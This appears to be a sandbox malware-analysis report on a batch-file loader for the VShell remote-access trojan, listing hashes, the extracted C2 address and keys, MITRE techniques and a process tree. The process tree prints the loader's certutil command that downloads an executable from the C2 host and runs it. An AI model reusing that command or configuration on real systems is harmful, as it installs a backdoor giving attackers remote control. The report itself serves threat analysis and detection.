vshell | 8f016c65c52a9baa364f63a8eb645977d7fc15f642c82c5dcab3e528744adb07

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 02:07

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General

Target
jaffacakes118_8f016c65c52a9baa364f63a8eb645977d7fc15f642c82c5dcab3e528744adb07.bat
Size 512B
Sample260910-cj8wbaef27
SHA256 8f016c65c52a9baa364f63a8eb645977d7fc15f642c82c5dcab3e528744adb07
MD5 aba8e53306660341bd4f8319c78984f5
SHA1 6f7155f955b93027cb4ecca334f6b4f7c07817b1
SHA512 95d55cdff1d2ba7fa9e772c93ff927630806c0b1a091eeff2965db4fb7fcadec42499c8ed76ecf65160e5a2833bf5e7ce9a8eb523ec688b39d67b802b19162bc
TLSH
T12EF09ECD08324EBD0FC9C873F4946186B00AA0CCCAA1E5D91B9126DD4E480D836EBB92
MD5 SHA1 SHA512 TLSH

Score

10^/10

backdoor execution vshell rat

Malware Config

Extracted

Family

vshell

107.173.101.114

Attributes

port
10000
salt
qwWVRFS
type
tcp
vkey
qwwrvd

Signatures

Family: VShell
VShell is a cross-platform Go-based RAT and C2 framework targeting Windows and Linux.
backdoor rat vshell

Detects VSHELL Backdoor 1 IoCs

resource	yara_rule
behavioral1/memory/3824-7-0x0000000067700000-0x0000000067ED4000-memory.dmp	family_vshell

Downloads MZ/PE file 2 IoCs

flow	pid	Process
5	1040	certutil.exe
6	1040	certutil.exe

Executes dropped EXE 1 IoCs

pid	Process
3824	ee2e93b3tcp.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4908	cmd.exe
1400	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3824	ee2e93b3tcp.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2704	WMIC.exe
Token: SeSecurityPrivilege	2704	WMIC.exe
Token: SeTakeOwnershipPrivilege	2704	WMIC.exe
Token: SeLoadDriverPrivilege	2704	WMIC.exe
Token: SeSystemProfilePrivilege	2704	WMIC.exe
Token: SeSystemtimePrivilege	2704	WMIC.exe
Token: SeProfSingleProcessPrivilege	2704	WMIC.exe
Token: SeIncBasePriorityPrivilege	2704	WMIC.exe
Token: SeCreatePagefilePrivilege	2704	WMIC.exe
Token: SeBackupPrivilege	2704	WMIC.exe
Token: SeRestorePrivilege	2704	WMIC.exe
Token: SeShutdownPrivilege	2704	WMIC.exe
Token: SeDebugPrivilege	2704	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2704	WMIC.exe
Token: SeRemoteShutdownPrivilege	2704	WMIC.exe
Token: SeUndockPrivilege	2704	WMIC.exe
Token: SeManageVolumePrivilege	2704	WMIC.exe
Token: 33	2704	WMIC.exe
Token: 34	2704	WMIC.exe
Token: 35	2704	WMIC.exe
Token: 36	2704	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2704	WMIC.exe
Token: SeSecurityPrivilege	2704	WMIC.exe
Token: SeTakeOwnershipPrivilege	2704	WMIC.exe
Token: SeLoadDriverPrivilege	2704	WMIC.exe
Token: SeSystemProfilePrivilege	2704	WMIC.exe
Token: SeSystemtimePrivilege	2704	WMIC.exe
Token: SeProfSingleProcessPrivilege	2704	WMIC.exe
Token: SeIncBasePriorityPrivilege	2704	WMIC.exe
Token: SeCreatePagefilePrivilege	2704	WMIC.exe
Token: SeBackupPrivilege	2704	WMIC.exe
Token: SeRestorePrivilege	2704	WMIC.exe
Token: SeShutdownPrivilege	2704	WMIC.exe
Token: SeDebugPrivilege	2704	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2704	WMIC.exe
Token: SeRemoteShutdownPrivilege	2704	WMIC.exe
Token: SeUndockPrivilege	2704	WMIC.exe
Token: SeManageVolumePrivilege	2704	WMIC.exe
Token: 33	2704	WMIC.exe
Token: 34	2704	WMIC.exe
Token: 35	2704	WMIC.exe
Token: 36	2704	WMIC.exe
Token: SeDebugPrivilege	3824	ee2e93b3tcp.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4908 wrote to memory of 1400	4908	cmd.exe	86
PID 1400 wrote to memory of 2704	1400	cmd.exe	87
PID 1400 wrote to memory of 3376	1400	cmd.exe	88
PID 4908 wrote to memory of 1040	4908	cmd.exe	90
PID 4908 wrote to memory of 3824	4908	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_8f016c65c52a9baa364f63a8eb645977d7fc15f642c82c5dcab3e528744adb07.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 64
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1400
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get osarchitecture
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2704
- - C:\Windows\system32\findstr.exe
    findstr 64
    3⤵
    PID:3376
- C:\Windows\system32\certutil.exe
  certutil.exe -urlcache -split -f "http://107.173.101.114:10000/?h=107.173.101.114&p=10000&t=tcp&a=w64&stage=true" "C:\Users\Public\ee2e93b3tcp.exe"
  2⤵
  - Downloads MZ/PE file
  PID:1040
- C:\Users\Public\ee2e93b3tcp.exe
  "C:\Users\Public\ee2e93b3tcp.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3824

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

ee2e93b3tcp.exe

Path C:\Users\Public\ee2e93b3tcp.exe
Size 3KB
SHA256 ab500ad2b80fa0994cc521dbdf2619f4910498cef685aed0b58bd23a4e16988e
MD5 6a1c343bec9f0ae29f493a0a93206542
SHA1 06511fbb522625b1b52d461ded9dec1e671d1ab9
SHA512 ae4047a21813b678f2a9d605b030c81843d76a6984d85e0679af8a2e5adc4a5b3af678ea75681c9c0f281180986a4c9b522b8e3b378e91a0954a7804cc986028
TLSH
T1C471B541605416F2D98DE3BFC487B895FD5FB248A2C84B0B0398981A2FB207BB0D9613
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3824-7-0x0000000067700000-0x0000000067ED4000-memory.dmp

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memory/3824-11-0x0000013A1CF60000-0x0000013A1EBFD000-memory.dmp

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memory/3824-18-0x0000013A1CF60000-0x0000013A1EBFD000-memory.dmp

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